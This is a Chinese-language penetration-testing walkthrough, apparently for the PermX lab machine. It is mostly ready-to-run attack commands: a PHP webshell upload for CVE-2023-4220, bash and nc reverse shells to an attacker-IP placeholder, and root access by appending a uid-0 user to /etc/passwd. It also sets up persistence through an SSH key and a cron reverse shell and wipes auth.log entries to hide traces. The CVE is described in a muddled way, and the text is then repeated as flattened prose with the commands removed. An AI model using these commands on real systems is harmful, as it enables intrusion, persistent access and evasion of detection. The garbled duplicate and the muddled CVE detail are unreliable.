记一次渗透实战之PermX
字数 1162 2025-08-22 12:23:30

PermX渗透实战教学文档

1. 信息收集阶段

1.1 端口扫描

使用nmap进行初步端口探测:

nmap -sS -T4 <目标IP>

发现开放端口:

  • 22端口(SSH)
  • 80端口(HTTP)

详细扫描:

nmap -sV -sC -p22,80 <目标IP>

1.2 子域名爆破

使用工具如subfinder、assetfinder或amass进行子域名枚举:

subfinder -d <目标域名> -o subdomains.txt

将发现的子域名添加到hosts文件:

echo "<IP> <子域名>" >> /etc/hosts

2. Web应用渗透

2.1 目录爆破

使用dirsearch或gobuster进行目录枚举:

gobuster dir -u http://<目标> -w /path/to/wordlist.txt

2.2 漏洞发现

发现关键文件:

  • README.md文件(可能包含版本信息)
  • 存在登录页面(潜在认证绕过或注入点)

2.3 CVE-2023-4220漏洞利用

漏洞详情:

  • 允许存储型XSS通过webshell导致RCE
  • 攻击者可上传.php后缀文件
  • 需要存在特定目录:/main/inc/lib/javascript/bigupload/files

利用步骤:

  1. 确认漏洞目录存在
  2. 使用curl上传PHP webshell:
curl -X POST -F "file=@shell.php" http://<目标>/upload_path/

PHP webshell示例:

<?php system($_GET['cmd']); ?>

3. 获取初始访问

3.1 命令执行验证

访问上传的webshell:

http://<目标>/upload_path/shell.php?cmd=id

3.2 反弹shell

使用bash反弹shell:

bash -c 'bash -i >& /dev/tcp/<攻击者IP>/<端口> 0>&1'

或使用nc:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <攻击者IP> <端口> >/tmp/f

4. 权限提升

4.1 内网信息收集

关键命令:

# 系统信息
uname -a
cat /etc/*-release

# 用户信息
id
whoami
cat /etc/passwd

# 网络信息
ifconfig
netstat -tulnp

# 查找配置文件
find /var/www/html -name "*.conf" -o -name "*.config"

4.2 发现配置文件泄露

常见敏感文件位置:

  • /var/www/html/config.php
  • /var/www/html/.env
  • /var/www/html/configuration.ini

4.3 Linux ACL权限利用

检查特殊权限:

getfacl /path/to/file

发现以root权限运行的脚本:

find / -perm -4000 -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

4.4 利用ACL漏洞提权

  1. 分析可疑脚本:
cat /path/to/suspicious_script.sh
  1. 检查脚本中的权限检查逻辑缺陷

  2. 如果脚本使用test[命令进行权限验证,可能通过符号链接绕过:

ln -s /root/.ssh/authorized_keys /tmp/fakefile
  1. 修改脚本或利用其逻辑缺陷读取敏感文件

4.5 生成密码哈希

使用openssl生成密码哈希:

openssl passwd -1 -salt xyz yourpassword

或使用mkpasswd:

mkpasswd -m sha-512 yourpassword

4.6 添加root用户

编辑/etc/passwd或/etc/shadow:

echo 'root2:$1$xyz$qX78Q9SXz5fPyo90xU.TX.:0:0::/root:/bin/bash' >> /etc/passwd

然后切换用户:

su root2

5. 后渗透操作

5.1 建立持久化访问

  1. 添加SSH公钥:
echo "<公钥>" >> /root/.ssh/authorized_keys
  1. 创建cron job:
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'") | crontab -

5.2 清理痕迹

删除日志:

# 清除当前用户相关日志
sed -i '/<你的IP>/d' /var/log/auth.log
sed -i '/<你的用户名>/d' /var/log/auth.log

关键要点总结

  1. 信息收集要全面:端口扫描和子域名枚举是发现攻击面的基础
  2. Web应用是常见入口:目录爆破和文件发现往往能揭示关键漏洞
  3. CVE利用要精准:了解漏洞条件和利用方式,如CVE-2023-4220需要特定目录存在
  4. 权限提升多路径:从ACL权限、SUID程序到密码哈希破解,多种方式尝试
  5. 痕迹管理很重要:渗透后要清理日志,避免被发现

防御建议

  1. 限制上传文件类型和目录权限
  2. 定期更新和修补已知漏洞
  3. 最小化系统权限,避免不必要的SUID程序
  4. 监控系统日志和异常行为
  5. 使用ACL时要谨慎设置,避免权限逃逸
PermX渗透实战教学文档 1. 信息收集阶段 1.1 端口扫描 使用nmap进行初步端口探测: 发现开放端口: 22端口(SSH) 80端口(HTTP) 详细扫描: 1.2 子域名爆破 使用工具如subfinder、assetfinder或amass进行子域名枚举: 将发现的子域名添加到hosts文件: 2. Web应用渗透 2.1 目录爆破 使用dirsearch或gobuster进行目录枚举: 2.2 漏洞发现 发现关键文件: README.md文件(可能包含版本信息) 存在登录页面(潜在认证绕过或注入点) 2.3 CVE-2023-4220漏洞利用 漏洞详情: 允许存储型XSS通过webshell导致RCE 攻击者可上传.php后缀文件 需要存在特定目录: /main/inc/lib/javascript/bigupload/files 利用步骤: 确认漏洞目录存在 使用curl上传PHP webshell: PHP webshell示例: 3. 获取初始访问 3.1 命令执行验证 访问上传的webshell: 3.2 反弹shell 使用bash反弹shell: 或使用nc: 4. 权限提升 4.1 内网信息收集 关键命令: 4.2 发现配置文件泄露 常见敏感文件位置: /var/www/html/config.php /var/www/html/.env /var/www/html/configuration.ini 4.3 Linux ACL权限利用 检查特殊权限: 发现以root权限运行的脚本: 4.4 利用ACL漏洞提权 分析可疑脚本: 检查脚本中的权限检查逻辑缺陷 如果脚本使用 test 或 [ 命令进行权限验证,可能通过符号链接绕过: 修改脚本或利用其逻辑缺陷读取敏感文件 4.5 生成密码哈希 使用openssl生成密码哈希: 或使用mkpasswd: 4.6 添加root用户 编辑/etc/passwd或/etc/shadow: 然后切换用户: 5. 后渗透操作 5.1 建立持久化访问 添加SSH公钥: 创建cron job: 5.2 清理痕迹 删除日志: 关键要点总结 信息收集要全面 :端口扫描和子域名枚举是发现攻击面的基础 Web应用是常见入口 :目录爆破和文件发现往往能揭示关键漏洞 CVE利用要精准 :了解漏洞条件和利用方式,如CVE-2023-4220需要特定目录存在 权限提升多路径 :从ACL权限、SUID程序到密码哈希破解,多种方式尝试 痕迹管理很重要 :渗透后要清理日志,避免被发现 防御建议 限制上传文件类型和目录权限 定期更新和修补已知漏洞 最小化系统权限,避免不必要的SUID程序 监控系统日志和异常行为 使用ACL时要谨慎设置,避免权限逃逸